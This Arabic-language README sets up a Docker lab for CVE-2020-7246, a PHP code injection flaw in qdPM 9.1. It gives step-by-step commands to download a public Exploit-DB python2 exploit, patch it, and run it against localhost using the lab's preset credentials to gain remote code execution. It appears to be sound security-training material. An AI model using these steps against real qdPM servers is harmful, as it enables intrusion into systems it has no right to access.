
بيئة مختبر وسكربت استغلال لثغرة CVE-2020-7246، وهي ثغرة حقن كود PHP في qdPM 9.1. يتضمن إعداد Docker واستغلالًا قائمًا على Python2 لتنفيذ الأكواد عن بُعد بعد المصادقة.
إعداد المختبر: a) git clone https://github.com/pswalia2u/CVE-2020-7246.git b) cd CVE-2020-7246 && docker build -t cve-assignment:ine . && docker run -it -p 80:80 cve-assignment:ine c) يجب أن يكون خادم الويب متاحًا على http://127.0.0.1/index.php d) حساب مُهيأ مسبقًا: البريد الإلكتروني: [email protected] كلمة المرور: developer_1
الاستغلال:
استخدام استغلال python2 القديم https://www.exploit-db.com/exploits/47954 a)curl https://www.exploit-db.com/raw/47954 > exploit.py
b)إضافة "# -- coding: utf-8 --" في أعلى سكربت الاستغلال sed -i '1s/^/# -- coding: utf-8 --\n/' exploit.py
c) تثبيت python2 والتبعيات apt install python2 -y && curl https://bootstrap.pypa.io/pip/2.7/get-pip.py -o get-pip.py && python2 get-pip.py && pip2 install requests lxml
d) تشغيل الاستغلال python2 exploit.py -url http://127.0.0.1/ -u <user_email> -p python2 exploit.py -url http://127.0.0.1/ -u [email protected] -p developer_1